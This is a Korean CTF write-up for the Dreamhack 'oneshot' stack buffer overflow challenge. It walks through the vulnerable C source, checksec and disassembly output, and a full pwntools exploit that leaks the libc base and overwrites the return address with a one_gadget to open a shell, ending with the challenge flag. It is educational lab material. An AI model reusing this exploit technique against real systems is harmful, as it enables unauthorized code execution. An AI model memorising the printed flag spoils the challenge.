#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
// 버퍼 오버플로우 발생
read(0, msg, 46); // msg에 46 Byte 크기 만큼 입력을 받음
if(check > 0) { // check가 0보다 크면
exit(0); // 프로그램 종료
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
read 함수를 이용해서 버퍼 오버플로우를 시키고 one-shot gadget으로 RET를 덮는 문제일 거 같습니다.
⚡ root ~/wargame/dreamhack/oneshot checksec oneshot
[*] '/root/wargame/dreamhack/oneshot/oneshot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
NX와 PIE 보호 기법이 걸려있습니다.
0x0000000000000a91 <+80>: lea rax,[rbp-0x20] // rax = msg
0x0000000000000a95 <+84>: mov edx,0x2e // edx = 46
0x0000000000000a9a <+89>: mov rsi,rax // rsi = msg
0x0000000000000a9d <+92>: mov edi,0x0 // edi = 0
0x0000000000000aa2 <+97>: call 0x830 <read@plt> // read(0, msg, 46)
0x0000000000000aa7 <+102>: cmp QWORD PTR [rbp-0x8],0x0 // compare check, 0
0x0000000000000aac <+107>: je 0xab8 <main+119> // check == 0이면 main+119로 jump
0x0000000000000aae <+109>: mov edi,0x0
0x0000000000000ab3 <+114>: call 0x870 <exit@plt>
⚡ root ~/wargame/dreamhack/oneshot one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
첫 번째 one gadget 0x45216을 이용해서 익스플로잇을 해보겠습니다.
check는 0이상이면 프로그램이 종료되기 때문에 0을 넣어줬고 RET 자리에는 쉘을 띄울 수 있도록 one gadget을 넣어주었습니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 21326)
e = ELF("./oneshot")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'
one_gadget = 0x45216
# [1] Leak base
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = base + one_gadget
slog("STDOUT", stdout)
slog("base", base)
slog("one gadget", one_gadget)
# [2] Exploit
payload = b'A'*24
payload += b'\x00'*8
payload += b'B'*8
payload += p64(one_gadget)
p.sendafter("MSG: ", payload)
p.interactive()
익스플로잇 코드를 실행시켜보면
⚡ root ~/wargame/dreamhack/oneshot python3 exploit.py 2> /dev/null
[+] Opening connection to host1.dreamhack.games on port 21326: Done
[*] '/root/wargame/dreamhack/oneshot/oneshot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/root/wargame/dreamhack/oneshot/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] STDOUT: 0x7f0d29641620
[+] base: 0x7f0d2927c000
[+] one gadget: 0x7f0d292c1216
[*] Switching to interactive mode
MSG: AAAAAAAAAAAAAAAAAAAAAAAA
$
공격이 성공해서 쉘이 떴습니다.
flag 파일을 출력해보면
$ ls
flag
oneshot
$ cat flag
DH{a6e74f669acffd69602b76c81c0516b2}